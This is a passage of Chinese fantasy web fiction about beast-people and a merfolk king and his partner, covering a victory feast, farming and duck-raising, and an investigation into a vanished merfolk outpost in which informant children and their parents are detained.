灯光煌煌,王城里的兽人们自发张罗着,搬出自家的桌子凳子,摆开长桌。 城堡后厨里,炖的鸭肉、烤的鱼肉、红烧的长耳兽如流水一般端了出来。 各部落里,同样也把自家觉得好的米粮、肉蛋拿出来。食草部落擅制青菜,便做青菜羹、青菜丸子,食肉部落更简单,把肉一烤,整个摆上案。 不止是城堡,整个王国里的兽人都拿出最好的招待战士们。 夏日的月格外的明,映得每个兽人的笑脸都清晰。 人鱼们招呼战士们入座,前来的部落的兽人也同样可以与战士们同聚。 一时间,整条街上灯火通明,欢声笑语。 幼崽奔跑,忽撞着些没了胳膊的战士,嘴巴一瘪,兽人战士以为吓到幼崽要躲,就看幼崽捡手上的麦芽糖送上来。 幼崽目光澄澈,声音稚嫩:“林猫店里的糖哦,很好吃的!” 战士侧身的动作一顿,忽的笑了。 虽断了手臂,往后生活必定受影响。但这一次参战,兽人并不后悔。 王国里安全,幼崽才能这般安稳无忧。 流水席上,烬携白争争出来,兽人们不约而同停下来,远远望着高大的人鱼。 烬只道:“这一仗的胜利,多谢各个部落兽人的相助,大家好吃好喝!” “吃!喝!”兽人们高声应道。 兽人们朴实,什么都比不上眼前这一口吃的。 做菜的食谱一应白争争提供,后厨及王国兽人共同努力,那宴席上肉菜不缺,果子水、蜂蜜水一应管够。 大伙儿迫不及待,撕下一块野鸭肉,大口一咬—— 啧,那叫一个香啊! “大伙儿吃!今晚肉管够!” 流水席上,王国的兽人各个啃着肉,咧嘴傻笑。吃得高兴了,心里也期盼着,什么时候能天天这样吃就美了。 幼崽也跟着沾了光,欢欢喜喜,不管跑到哪个兽人跟前,都能被塞上一块肉。 兽人齐乐,欢声笑语久久不散。 流水席持续了大半晚,兽人们围着篝火蹦蹦跳跳。 白争争被菱拉着去跳了下,起先还手脚无措,等到秋将烬推来,他便放开了玩儿。 兽人哄闹着,烬抓着伴侣的手,两人眼神偶然勾缠在一起,皆映着对方。 人鱼内部的事情彻底解决。 未来,定也是如今晚一般美好的。 * 热闹了一整晚,快黎明时分,兽人们才陆续散去。 白争争兴奋了一晚,又跳了许久,此时眉梢依然带笑。 他牵着烬的手,望着海面道:“我们去看日出吧。” 烬侧头看着自家伴侣,忍不住摸摸他的脸。 “还不累?” “没觉得,看日出?” 烬眉目舒展,唇角扬起一抹笑。 海面平静,附近的林子里已经传出几声鸟叫。只等了一会儿,一抹亮光迸射而出,红日在油画一般的天幕上浮现出金红的轮廓。 霞光万丈,即便见了数次,也没有一个兽人不赞叹。 烬坐在海岸边,搂着自己伴侣。许久没听到他的声音,侧头一看,人已经睡着了。 他笑了下,见那浓密的睫羽低垂,面上泛红,应是昨晚玩儿得高兴。 烬将他往怀里拢了拢。 白争争低低道:“烬……” 烬吻了吻伴侣的额角,搂得更紧。 “嗯,回来了。” * 宴席过后,王国里热闹了好一阵。 等兽人们安定下来,转眼又是一年农忙时。 王城后头的田地里,兽人们挥着镰刀、锄头,挥汗如雨。 顾着自家部落的地同时,又看那人鱼一族跟六大部落的地,那里的酸味儿是止不住往外冒。 “看看他们的稻,那稻穗挂得都快撑不起腰了。一串里起码一半的稻粒都是饱满的。” “哪只一半,七八成!” 小部落的兽人的田地大多在山坡上,他们站得高,正好将那下面一片片的田看得清清楚楚。 满山金黄的稻成熟了,在兽人们眼里比那东升的太阳都好看。兽人们俯身在那稻田里,忙得直不起腰。 但那下面地里稻明显更加粗壮。 兽人一割,那稻穗往下倒。哪里像自家这些,握在手里都轻飘飘的。 只看一眼,兽人们就估摸着那产量定是比自家的高了一倍。 鹿兽人有些酸:“我就说跟着人鱼种指定能成,瞧瞧人家那地。” “咱这也不差,比去年是要好一点点。” “那也不敌人家。” “哎呀!那他们那地也不是块块都这样,你看人鱼其他田,跟咱们得好得到哪里去。” “可他剩下那一半多啊!” “着什么急。”虎部落的虎呼从后山买了些鸭崽带下来,听到兽人们的酸言酸语忍不住道,“你们光看到我们种出好粮食,没看见我们多用心。” “那我们也想用心,可那些东西人鱼不卖啊。” 虎呼笑道:“你们这样说,我们还想买呢!” “你们没买?”鹿兽人显然不信。 虎呼:“人鱼都不卖,我们才哪儿买去。那些肥料、杀虫药都是我们自家兽人弄的。” “那你们不也还是占了便宜。” “什么叫占便宜啊!我们自己兽人先帮王国辛辛苦苦做完,然后才回来弄自家的。” “行了!别吵。”菱正骑着食人鹰上后山,看兽人们在半山腰堵住路,看着像要打起来了,赶紧落下来。 “我们不都说了那是试验,先得自己试一试验证一下对不对。真有用的话怎么不卖?” “那明年卖吗?”其他兽人小心翼翼道。 菱:“卖!” “那好,那好。”鹿兽人转个头,看着虎呼道,“你还站在这儿干什么,回去干活啊!” 虎呼哼声。 他不跟食草兽人争。 实践证明,肥料与农药有用。但每种需要控制用量,像人鱼他们自己的地每一块都特意控制用量来对比,植株生长差别还是挺大的。 现在王国的人鱼大都回来,人手增加,菱已经让兽人们已经在加紧制作这些东西了。 等到明年,大部分都能用上。 天气极热,兽人们顶着烈日将稻子收割完。接着是翻晒,收进仓房。 各个部落将自家的粮食一统计,比去年收得多些。 但再一对比人鱼的,又是一阵酸。 麦先前初夏时已经收割,稻现在收完,只用等到秋来再收紫皮根。地里一年的作物就收完了。 有了新收粮食,王国里的兽人放开了肚皮吃。 大部落吃不完便回拉出去卖,人鱼族的粮食也大多会售卖,兽人们只要有点银币就能买到。 不过这些再怎么吃,还是没那肉好吃啊。 那晚流水席上的肉,他们可是做梦都想再吃一次。 “卖鸭苗了!养殖场卖鸭苗了!五银币一只,五百只售完为止,先到先得!先到先得!” 林猫幼崽结队敲着锣,走街串巷,高声喊着后山卖鸭苗的事。 部落里翻晒稻子的兽人愣了愣,转头就冲着部落里喊:“族长!祭司!开始卖鸭苗了!” 兽人刚喊完,就见平日里蹒跚走路的老族长抓着一兜子银币就往外跑。吓得后头的年轻兽人赶紧追上来,变做兽形将族长往背上一驮,撒腿儿就跑。 祭司落在后头,看了眼自家还愣着的兽人,吆喝一声道:“愣着干什么,跑啊!抢不到今年没肉吃!” 小部落几乎全部出动,六大部落听了,其实也蠢蠢欲动。 但争争说了,这次是惠及小部落,何况他们都有了,不该跟那些小部落抢。 这一批孵化出来六百多只,白争争自己要留些。 鸭苗先在后山养了十几天,看着能养活了,才往外出售。 白争争也不图银币,主要是让兽人们也习惯自己喂养牲畜。 这样一来,再不济也不愁蛋吃。 这边幼崽走街串巷,分作两队,还没走过王城,兽人就围住了后头的养殖场。 因着鸭苗有限,又担心这些部落头一次养,经验不足容易养死,所以白争争规定一个部落最多买走五十只。 但即便如此,很快也就卖空了。 不过后一批也已经孵化半月了,白争争让兽人们耐心等着,孵出来就卖。 至冬季来临,野鸭孵化出一批又一批,各个部落几乎都有了鸭苗。 而头一批养的,到冬季都能生蛋了。 部落里的幼崽一天一个蛋,养得白白胖胖的,比以往都敦实。 天冷了,白争争就不爱动。 网箱里的鱼也长得慢了。 一条鱼能有巴掌大,吃是可以吃,但养鱼的兽人们都不舍得。 他们不舍得,海里放了一年鱼的兽人倒是舍得。他们一网一网往岸上拉,只拉上来一半也是不少的分量。 余下的,那就再养大些,明年再吃。 但就算这样,王国的肉还是不够。 就在白争争又捉摸着要做点什么的时候,烬却告诉他,南部大岛可以试试。 先前抓的那些人鱼不仅可以干活儿,那边温暖,地块儿也大,能养好多种鱼类。 白争争二话不说,跟着烬就去了。 同去的不止白争争,还有一直帮忙养鱼的那些兽人们。这边网箱已经够多了,白争争不管能不能成,先把工具带上。 一批数百个网箱,随着他们一起往南。 历经十多天,兽人们口中南部人鱼岛映入眼帘。 这是一座形如蚕,南北细长,中间粗的岛屿。因着在更南边的地方,即使是冬季,这里依旧有些热。 白争争连兽皮衣都得脱下来,根本穿不住。 岛上建了码头,跟着一起来的龟兽人们就停在这里。 这次来不仅是白争争考察能不能养鱼,烬更是让龟兽人们驮了不少今年新收的粮食过来。 上了岸,烬牵着白争争的手,看着只码头眼神向密林的宽阔大道。这都是自家兽人督促着这里的人鱼修出来的。 在岛上还没开始养鱼之前,烬就已经将所有能想到的,白争争可能用到的基础设施建造完成。 包括修了路以及码头,孵化鱼苗的水池,还有些大房子等等。 白争争看着岛上的树木,姿态舒展,冬季仍就深绿,比王国内更有海边风情。 要是再繁华些,都能让兽人们花银币来度假了。 白争争跟着烬逛岛,这岛东西两岸海岸线极长,西边海深,东边全是干净的沙滩。 单是鱼群种类都比王国那边要多得多。 “能养吗?”烬问。 白争争:“当然能。但是这边会不会太偏了?” 烬道:“虽然远了一点,但胜在气候好。大部分人鱼喜欢吃的鱼这边都有,好养。” 白争争看着烬,“那试试?” 烬:“试试。” 说做就做,白争争先跟烬直接下海,考察一番这边的鱼都有什么。 再挑选几种合适的,就开始试养。 养鱼有经验的兽人也跟着来了,水池什么的都有,白争争领着兽人多操作几次,掌握了这些鱼适合的水温、深度等等,摸索着就能养下去。 先试试养大鱼,等到鱼的产卵季到了再孵化鱼苗,那些网箱也就能用上了。 忙了些日子,等到所有兽人都上手,白争争才空闲下来。 王国里的兽人也有一部分在岛上居住,不过他们没有住在原本岛上人鱼建造的王国里,而是重新造了房子,只在北边一带。 王宫那边,依旧是那些被俘虏的人鱼居住。 白争争每天都能在岛上看到他们劳作的身影。有的在开辟耕种的土地,有的在修路,有的在伐木。 为了防止这些兽人跑掉,他们脚上套着锁链,都是王国里的兽人们搞出来的。 白争争不乐意看到他们,便不往北部那王城里走。 倒是那些幼崽,兽人们似乎没有多加限制。 他们可以拿着藤筐去海边赶海,也可以去林子里采集,摘果子。 烬与白争争回睡觉的地方时,刚好遇到一群幼崽背着海鲜回来。 他们乍一看与王国里的其他幼崽没什么两样,但都沉默些,看到生人就躲。 白争争看着幼崽们往王宫的方向跑去,只回头看着烬问:“他们这样,岛上的人鱼放心吗?” 幼崽之中十几岁的不少,对兽人来说,可以拿起武器捕猎或者对敌了。 烬道:“祭司安排了兽人每天给他们讲课。” “讲的是什么?” “人鱼的过往,先祖的事迹。” “有用?” “不知道。” 烬并不仁慈,但看在这些都是幼崽的份儿上,只要他们乖乖的,就不会动他们。 但如果幼崽受到那些成年兽人怂恿,做错了事情,那该有的惩罚也一个不少。 不过这些他的伴侣不用知道。 岛上兽人少些,也安静。吃过饭后,白争争与烬沿着沙滩随意走着消食。 走得累了,便坐下来歇歇,看着身边爬过去的红色小螃蟹也能发呆好一会儿。 白争争靠着烬,看着浪花一层叠一层。 烬闲下来了,王国的大多兽人都回来了。 他做的那些养殖的事儿,也有兽人们能接手,白争争忽然觉得空闲下来。 但他又是个空久了不舒服的性子。 白争争勾了勾烬的手腕,枕在他肩上,侧脸望着他。 烬看着那双会说话的眼睛,低声道:“想回去了?” “嗯。”白争争趴在伴侣胸口,闷闷道,“想回去看看。” 烬知道白争争说的不是王国,而是他们原本居住的地方。 那里是白争争来时的地方,他生活了十几年,即便离了那里,也仍旧怀念着。 烬摸着伴侣毛绒绒的头发,“好,我回去安排。” 第77章 第 77 章 第二环岛 听说白争争要回去, 其他林猫兽人也动了心思。 照一琢磨,他们地里种的是麦,早收了。现在也没有什么活儿,麦饼不想做也可以先关着。 他干脆将林猫兽人们全召集回来, 大伙儿聚在一起商量商量。白争争、烬, 鹤跟菱还有他家幼崽也都来了。 照搂着自家小孙孙, 面上止不住地笑。 见兽人都到齐了, 他直接道:“争争想回去一趟, 你们哪些想跟着去?” 兽人问:“族长, 去了要回来?” 照:“那肯定的。” 扑摸了摸自家绒球的耳朵, 低低问:“想回去看一看阿爷吗?” 绒球脑袋贴在扑的手心, 眼神懵懂,“阿爷……” 绒球阿爸也摸了摸幼崽另一个耳朵,温柔道:“还有苗阿叔、角阿叔……” “苗阿叔、角阿叔是阿父的哥哥们。”扑道。 先前部落被袭时,也有些林猫兽人在其中丧生。这里面包括幼崽的阿爷,还有扑的一些兄弟, 以及其他兽人的伴侣或亲兽人。 绒球才出生不满一年, 他们就遇到那灾祸。现在过了一两年了, 不知道绒球还记不记得。 但扑跟绒球他阿爸都想回去看看。 “看,回去看。”绒球歪着脑袋,让阿爸阿父好好摸他的小耳朵。 扑微微一笑,忍着喉间的酸涩,道:“好,我们回去看阿爷、阿叔。” 要回去的成年兽人不多,只有十来个。 有些兽人跟扑的想法一样,有的则想到那场灾祸,不忍心勾起心中隐藏的伤痛, 便也没打算离开。 成年兽人少,但愿意跟着回去的幼崽就多了。几乎所有幼崽都抬起爪爪,眼巴巴地望着照。 照:“都去?” 幼崽你看我,我看你,随后都点头。 希道:“你们不跟着阿爸阿父了?” 雁几个阿爸阿父没回来的幼崽蹲在白争争身边,没吭声。反正争争去哪儿他们就去哪儿。 绒球道:“跟着啊。” “没问你。”绒球阿爸勾住幼崽的小尾巴道。 绒球侧身窝在他阿爸怀里,清澈的大眼睛看着同伴们。 “争争要去。”幼崽道。 “我们也去。” “去玩儿!” “找雪狐!” 白争争道:“你们确定?回去也要像上次来的那样,很久都在大黑的背上。而且去一次,回来一次,得两趟。” 幼崽一听,耳朵尖颤了颤,缓缓落下来。 虽然跟着争争出去好玩儿,但是好像旅途久了也不舒服。而且还是两趟。 “那、那我们不去了!”三个苗苗道。 这纯粹是想凑热闹的。 圆道:“我也不去,我要帮店里忙。” 启看了一眼圆,也摇头说不去。 幼崽一看大一点的圆他们居然不去,一时间犹豫起来。 白争争:“好好想想,别冲动。” 最后幼崽被自己家长拎着好生说了一顿,纷纷改口。再一统计,去的也只白争争身边的芽、雁、肉三个。 其他的要么看伙伴不去,自己也改变主意,有的被阿爸捏着脸蛋,不敢说去。 回去虽然没有来时那么赶,但耗时漫长,幼崽难保生病。 不去也好。 最后确定回去的兽人不多,除去十多个成年兽人,还有几个跟着阿爸阿父走的幼崽,以及雁三个,就没别的了。 确定了人数,兽人们就开始收拾东西。 包括御寒的兽皮,路上的食物等等。为此,希还带着兽人做了不少的干麦饼让大家带着路上吃。 白争争阿爸是不回去的,但阿父作为族长,还是打算领着族人走一趟。 走之前,烬特意问祭司算了合适的日子,随后大伙儿就坐着食人鹰出发了。 借助人鱼的便利,兽人们顺利过海。 不过烬要处理些第二环岛的事情,照带着族人们便先行。 落地第二环岛,龟鸣也爬上岸来。 码头上,依旧有翼族部落的兽人在往内陆运送东西。不过不是追跟逸。 送走族人,就剩白争争跟烬。 三个幼崽也先随着族人一同走,免得办事的时候顾及不到他们。 “王!”驻扎在岛上的人鱼过来,领着烬往里走。 白争争对第二环岛的印象一般,只觉得兽人倾轧,日子不好过。 等到了落脚的地方,人鱼出去做自己的,白争争才问:“烬,这边有多少人鱼?” 烬道:“三百。” “那我们要做什么?” “清理清理岛上的兽人。”烬道。 之前让第二环岛的兽人帮忙打仗,答应允许兽人们可以在王国里定居之外,犬族、翼族、虎族几个大部落还有一个请求。 第二环岛的生存环境太恶劣,他们想通过人鱼的威信,整治一下。 虽说他们能搬去王国,但环岛上还有极多的小部落生存。 而且,第二环岛距离人鱼王国近,上面掠夺兽人强迫为奴隶的事不少,长久下来也是个隐患。 战争之后,烬再加派了些人鱼过来盯着第二环岛。正好已经一段时间过去了,他需要看看效果怎么样。 再者,烬还记得一件事—— 他的伴侣在第二环岛上差点没命了。 * 当先走一步的林猫兽人们驾着食人鹰飞过第二环岛的上空时,藏在丛林中的各个部落就都看到了。 靠近海边的暗河部落里,兽人们冲着天空张望了会儿,便收回目光继续整理架子上风得半干的海菜。 “食人鹰上头有兽人。” “看到了,能骑食人鹰往北走的,多半是从人鱼王国来的。” “那会不会是王的伴侣?” “哪有那么多王的伴侣,再说他都到王国了,还吃饱了撑得又去外围那些条件恶劣的地方?” “那会是谁?” “管他是谁。反正往那边去,稍有不小心就被抓了。” “人鱼都在,他们也敢?” 兽人讽笑同伴天真:“第二环岛这么大,有多少人鱼能看着?等着吧,没多久绝对就没信儿了。” 所谓天高皇帝远,烬作为环洲的王,也自然知道这个道理。 到了第二环岛之后,他只上岸时与白争争在领地休息过一晚,随后与白争争一起深入腹地。 靠近第二环岛内侧及腹地这边,多是第二环岛上的大部落。比方说犬族、翼族,白争争与烬往几个部落都走了走。 因着兽人们帮人鱼王国打仗,部落里现在大半的兽人就留在了王国之中。又因在王国里的同族还没站稳脚跟,所以这些部落里也会有些兽人还没迁走。 二人走访完,并没有不妥。 环岛上各处有人鱼驻扎点,分散在四面八方。 中部同样也有,烬跟白争争一路过来,就是在这样的驻扎点里休息。 第二环岛正值深冬,鸟兽匿迹。 一路走来,外面活动的兽人也没见到几个。 驻地有兽人们建起来的小房子,三五座挨在一起,还用栅栏与荆棘圈出了个小院子。 环岛上没下雪,但风吹得割脸。 烬护着被兽皮围得严严实实的白争争,走到院子门口。 院外不见人,烬推开院门,里头的景象一览无余。 白争争顿住,稍稍扯高了兽皮帽的帽檐。他望着一地的荒草,显然是没怎么打理过。 “没人?” 烬将他牵住,看着紧闭的大门。 那门上有黑色的痕迹,里头人鱼的气息已经淡得几乎闻不到。 二人身后,大黑被冷得跳了跳。不明白他俩为什么不往里走,那大房子里有火堆,很舒服的! 大黑用大翅膀挤开他俩,缩着爪子就往门口跑。 “诶!大黑!” 白争争都来不及阻止,就看大黑翅膀往那门上一碰,咯吱一声,门就开了。 大黑回头,黑色的眼珠子盯着白争争不动。似乎在问叫住它干什么? 白争争却看着那尘埃四起的门内,往烬身边挨了挨。 “怎么很久没兽人住的样子?” 烬:“每个驻地之间固定一段时间都有联络,来之前,上一个驻地的人鱼并没说这边有异常。” 大黑已经跳进屋里,在里头横冲直撞找火堆。 找了半天没找到,又颠颠跑到白争争跟前。黑色的羽毛上挂满了蜘蛛网。 白争争捂住口鼻,嫌弃地戳着它翅膀往旁边推了推。 大黑往后两步,嘶哑着叫了两声。 有些幽怨。 像不明白前头几个屋都暖和,为什么这个屋没有。 还有,它饿了! 大黑蹲在墙角,嘶叫不停。 白争争摸了摸随身携带的兽皮兜,摸出两条小鱼干给它。“你先垫一垫,这会儿有事。” 大黑一口就吞没了。 白争争看着屋内,桌椅倾倒,黑色的痕迹更多。 地面还散着人鱼的鳞片与黑色的兽毛,想必是打斗的时候留下来的。 白争争挥了两下浮尘,道:“肯定出事了。” 他把兽皮地图拿出来,还是黑羊部落给的那一幅,他保存得很好。 这屋里满是灰尘,他看了一会儿不知道放哪儿,最后注意到角落里蹲着肚子郁闷的大黑。 走近拍掉它羽毛上的蜘蛛网,将兽皮地图放上去。 “我们现在在环岛中心的中部位置,这个地方,中等部落最多。有战斗力的……”白争争手指点着,忽然看到了熊部落。 不是他偏见,这个部落有前科,他很怀疑。 烬掌心裹住他微凉的手,“其他部落都有可能,野兽也有可能,先离开。” “去哪儿?” “下一个驻扎地。人鱼们半个月会联系一次,这里看着出事不止半个月,上一个驻扎地的人鱼都没有发现,这中间肯定有兽人作祟。我们去看看情况,顺便找帮手。” 伴侣在,烬不会冒险。 这里距离下一个驻扎地有两天的距离,烬跟白争争先解决了食物问题,吃饱了再让大黑全速赶路。 到了下一个地方,远远就看到那湖边活动的兽人。 但却不是人鱼。 这一处驻扎地就在湖边,房子建得很漂亮,上面还有攀爬的花架。但现在是冬季,上面不见花朵。 “这边看着挺好。” 大黑飞低了一点,湖中兽人警惕,忽然从里面跑出来数十个人鱼。 白争争心里一松,人鱼在,这边没问题。 “王!”人鱼们见到烬来,惊喜迎上来。 烬带着白争争赶了两天路,先送他去休息,随后直接将这边负责的人鱼阿九叫进屋里去。 “你们跟前一个人鱼驻地上一次联系是什么时候?” 阿九不解,但也乖乖答:“才联系过,三天前。” “见到那边人鱼了吗?” “没有。”阿九有些奇怪,他们联系不都是靠飞鸟送信。 他们不能擅自离开自己的驻地。 “王,那边怎么了?” 烬没说话,而是透过窗户看着外面。正好对上个幼崽的视线,他问:“这些兽人是你们负责这片的部落里的?” “是,这片湖本来就是兽人们的水源地,这些幼崽也很喜欢过来玩儿。” 烬:“都抓起来。” “王?”阿九愣住。 烬眼中尽是冷意。 阿九一惊,低头道:“是!” 阿九出去了,不多时外面就传出幼崽的哭闹声。烬往屋里在,守在白争争身侧。 白争争困得紧,离开王国后一路过来,气温越来越多,他就像要冬眠似的,总是困得紧。 这会儿睡得迷糊,感觉到烬在身边,想睁眼却怎么都睁不开。 烬摸摸他的脸,靠在他头一侧,将他耳朵捂住。 “睡吧。” 白争争挣扎了下,埋头靠着烬的颈窝,睡熟了。 “王。”门外,阿九低声道,“已经全部抓起来了。” 烬压着眉道:“再次联络上一个驻地,派兽人悄悄跟着。” “是!” 湖边玩耍的兽人大多是幼崽,两三个成年兽人在这边洗兽皮。他们被绑起来,堵住嘴,幼崽跟成年兽人分别关在两个屋子里。 烬把白争争哄睡了,轻手轻脚离开屋。 门口守着的两个人鱼低头。 “王。” “已经送出信了?” “送了,阿九亲自跟了。” 烬:“那些兽人呢?” “在最边上的两个屋。” 烬颔首,慢慢走出屋中。 两个守着门的人鱼有些心惊,王忽然一来就这动作,难不成人鱼一族要占领第二环岛,将这些兽人驱逐? 烬一来,这边的数十个人鱼都绷紧了皮子。 此时拿着武器,守卫在门口各处。烬经过,他们便低头,不敢多话。 烬走到那关押成年兽人的门口,道:“打开。” 人鱼飞快开了锁。 烬只站在门口,盯着里头三个成年兽人。 三个都是亚兽人,地鼠族。 被捆了手脚,堵住嘴巴,惊恐地缩在一起。 烬只看了一眼,就道:“我有一件事想不明白。地鼠一族最怕别族的兽人,更何况是人鱼,怎么会‘喜欢’跑到人鱼这里来了?” 即便要取湖里的水,可湖面这么辽阔,他们部落又在湖对岸,绕过来这么远,跟人鱼玩儿吗? “唔!唔唔唔……” 烬:“那些幼崽倒是听话。既然这么听话,那我送他们跟那些兽人一起见兽神吧。” “唔!唔唔!”其中一个亚兽人脖间青筋蹦起,趴在地上往门口挪,面上惊惧,“唔!呜……” 烬:“关门。” “唔!”里面传来砸门的声音,亚兽人看着同伴用头撞门,几下就弄得额头发红,吓得镇在原地。 人鱼刚刚说什么? 什么听话? “那些兽人”是什么兽人? 他们看向同伴,很显然,这事情与他有关。 一墙之隔是那些幼崽。一共七个,年纪都不大,看着十岁以下。 烬盯着那个与自己刚刚在窗外对视上的幼崽,五六岁,面容稚嫩。 幼崽分散坐着,看到他进来,挪了挪,害怕地缩在一起。 他们听到了隔壁的动静。 阿爸在哭,他们肯定打阿爸了! 他们是坏兽人! 烬冲着那幼崽招手,让他过来。 幼崽也很乖,往前走了两步。 他们只绑住手,堵住嘴,烬将他嘴里的兽皮拿下来,温和地摸了摸他的脑袋。 “告诉阿叔,刚刚在看什么?” 幼崽懵懂,问什么说什么。 “阿叔在跟九阿叔说话,让九阿叔送信。” 烬又看向其他幼崽,问:“你们也都看见,听见了?” 后头,几个凶狠地盯着他,呜呜着,像对跟前的幼崽说什么。烬示意人鱼将他们嘴里的兽皮都扯出来,幼崽扑过来就张嘴要咬。 人鱼将他们拉住,道:“小夏,不能咬。” “他欺负我弟!” “没有,你看着他动手了?” 叫小夏的幼崽停下,依旧防备地盯着烬。又看身边拉着他的人鱼,身子一侧,恨道:“你们抓我们,你们都是坏兽人!” “小夏!” 幼崽转头,还冲着他弟道:“春,离他远一点。” 烬看着还没腿高的幼崽,摸了摸他的头,“小春,你为什么要盯着阿九看?” “阿爸说的。” “每天都看?” “嗯嗯!”小春幼崽似乎很高兴,“看了阿爸会给好吃的,家里也有很多食物。” 烬:“那其他幼崽看阿九吗?” 小春摇头,骄傲地挺了挺圆滚滚的小肚子。“他们都没有哦,只有我有奖励。” “那家里的奖励是谁给的?” “阿爸啊。” “谁给阿爸的?” 小春疑惑,看向他哥哥。 小夏眼里比他还疑惑。 他是几个幼崽当中最大的,烬问的这些话他听得云里雾里的。 耳边还有隔壁阿爸的哭声,小夏心里只有焦急。 “你看我干什么?”他问。 “哥哥,我不知道经常来我们家里的阿叔叫什么?” “我们家里哪里会来阿叔……”小夏忽然抬头,他猛地往前,挣扎着被绑住的手,咬牙看着自己弟弟。 “什么阿叔!部落里说阿爸要重新找伴侣,是不是就是你说的那个阿叔!” 他们阿父还活着,只是没有找到而已。 他还不明白为什么部落里会有那些说阿爸坏话的兽人,为什么其他幼崽也渐渐不跟他们玩儿,原来都是因为这个兽人。 “他是谁?” “不知道啊,你见过的,很高很壮。”小春用手比划了下。 烬:“什么兽人?” 小夏陷入回忆中,眉头紧拧。 记忆中是有这么个兽人,他是在部落边缘遇到的。但他以为是来找族长他们的。 小春看哥哥不说,仰头道:“我知道,但是我说了你放开我。” 烬:“好。” 小春道:“是个很高很大的牛兽人。” “哪个部落的?” “不知道。”幼崽背对过去,动了动绑在后头的手,很乖道,“我说了,你可以松开我了。” 幼崽一言一行镇定无比,是天性使然。 烬给他松开,幼崽转动手腕,又去帮他哥哥。 小夏明白人鱼这是发现了什么,弟弟帮他解开后,他也站在原处。 “你会杀了我阿爸吗?”他很认真问。 烬:“要看你阿爸做的事到底有多严重。” 小夏拉着弟弟,到角落里蹲着。 他知道了,阿爸跟阿弟帮坏蛋做了事情,人鱼找上门来了。 烬道:“在我查清楚前,你们先在这里待一段时间。” 烬离开不久,白争争一下感受不到他的气息,睡得不安稳。他坐起来,就看烬从外面进来。 “怎么醒了?”烬气息一柔,快步靠近。 白争争打了个哈欠,抬手挂在烬脖子上,侧脸贴着他皮肤。 “你不在。陪我睡一会儿。” “好。” 烬躺下来,将白争争抱在怀里。 白争争翻身躺好,闭上眼睛又忍不住问:“我们晚上走吗?这边的人鱼够吗?” 烬:“不着急,明天走。” “嗯。”才一会儿,白争争又睡了过去。 * 驻地之间联络,人鱼们用的是的训练出的飞鸟。鸟儿送兽皮过去,两边通一下讯息,了解情况。 但人鱼们走到哪儿都被兽人们尊敬,所以大家并没有想过会在这里出事。 阿九一路追着飞鸟,往上一个驻地走。 他悄悄跟着,路上遇到兽人也不敢出来。 夜晚,飞鸟会落下来停在树上休息,第二天继续赶路。 阿九藏在隔壁几棵树上盘坐着,昏暗的树影将他挡得严严实实。 忽的,几声呼唤飞鸟的尖锐声音响起,是他们特制的一种器具发出的声音。 阿九抓着树枝猛地一站,看飞鸟腾起,却改了方向,往发出声音的地方去。 阿九急急忙忙跟上。 夜里都看不清飞鸟前进的方向,阿九只好寻着声音追,许久才又停下。 不远处,他亲手放飞的飞鸟停在了一个兽人手中。 那兽人黑漆漆的,抓住鸟就进了部落。 阿九揉了揉眼睛,恍然大悟。 呼唤飞鸟的方式只有人鱼知道,这鸟飞行不快,也不聪明,在固定路线飞个几次不用呼唤都能找到方向。 但同样的,若是呼唤,它也会跟着声音去。 可这底下的兽人,又是怎么知道唤飞鸟的法子。而且怎么知道飞鸟就要经过,正好将它唤来! 仔细一想,阿九背脊一寒。 上一个驻地的人鱼,怕是早已经出事了!所以王一来就这样。 而他们跟对方来往这么久,居然没发现。 第78章 第 78 章 想摸就摸 白争争一觉睡到天黑, 到吃晚饭时才被烬叫起来。 睡够了,白争争立在门前伸了个懒腰。发觉有视线落在身上,转头一瞧,是一群攀着窗往这边看的幼崽。 幼崽被关在屋里, 门口有人鱼守着。 白争争刚想问这是怎么了, 就被烬揽着腰带去了另一个屋吃饭。 白争争:“那些幼崽关着干什么?” 烬:“防止告密。” “嗯?” 烬:“先吃, 吃完跟你说。” 白争争确实有些饿了, 喝了一碗鱼汤, 啃了两个麦饼, 才压下那饿得发慌的感受。 白争争双手捂在肚子上, 下意识摸了摸。 软绵绵的, 怎么都不像烬那样摸着软弹柔韧,好几块腹肌嘞。 白争争目光悄悄往烬身上瞥。 饱暖思那什么…… 烬放下碗筷,轻轻拢住腹部作乱的手。白争争脸一红,悄悄摸摸将手往后撤。 烬稍稍用力,让他摸得更实一些。 “你干什么?!”白争争脸发烫, 睫毛颤抖个不停。 烬:“想摸就摸。” “说什么呢, 我就看看你怎么练出来的。”嘴上这般说着, 手上划拉得更快。 烬笑了下,没说什么。 等白争争摸够了,恢复那一本正经的样子,烬才道:“明早要赶路,会很累,要不然你就在这里等我。” “不等,我跟你一起。”白争争道,“事情查清楚了?” “等兽人回来就有结果了。” 不是什么难事,但就是不知道上个驻地的人鱼是不是还活着。 “那那些幼崽怎么回事?” 烬跟白争争把今天的事情说了一下, 白争争才道:“利用幼崽,怪不得人鱼们也察觉不到。” 下午睡得太久,白争争这会儿没了困意。 他走着走着又到了关着幼崽那屋。 外面守着的人鱼已经换了两个,窗户依旧开着,里头点着灯,幼崽正坐在墙角吃饭。 白争争站在外面没出声,看了一会儿,就听到隔壁传来一阵大动静。 守门的人鱼将门打开,白争争就见一个亚兽人从里面倒出来。 面上全是鲜血,不止白争争吓到,人鱼也吓到了。 “王!这……” 烬还没开口,白争争赶紧道:“先止血,有草药没有?” “没!” 人鱼皮糙肉厚的,哪里准备什么草药。 兽人脑袋上破了个洞,鲜血汩汩往外流。白争争左找右找,什么都没有,干脆直接抓了把草木灰堵住兽人伤口。 烬看着那自残一般的亚兽人,瞥向屋里,另外两个亚兽人显然也吓到了。 “他怎么回事?” “他、他害怕因为他让幼崽做的事情,你会伤害幼崽。所以打算自己赎罪,就、就……” 白争争看着那伤口皱眉:“不行,我去找找草药。” 止血的他也认得几种,不过现在天黑,白争争一个人去也不行。烬干脆拿了火把,随着白争争一起去。 “你是不是恐吓他了?” 烬扶着白争争的手,嗯了声。 “亚兽人胆小。” “他幼崽都比他胆子大。” 白争争道:“我看他也不是那种狠毒的,或许这里面有隐情。” “但他是帮凶。” 驻地的人鱼要是死了,他也逃脱不了干系。 确实也是,白争争想了想,也不再为那亚兽人说话。 冬日里林间草木不算茂盛,草药也不好找。白争争捂着兽皮,抓着木棍四处寻找。 烬就默默举着火把,时不时帮白争争看着路。 等到草药找齐回去,兽人头上的血也止住了。不过那破口不小,白争争又给他敷了些草药。 亚兽人醒了,唇色苍白地靠着墙壁,身边是他的两个幼崽。 他身形单薄,眉间愁郁不消,但双手紧紧拉着自己的两个幼崽,时不时落泪。 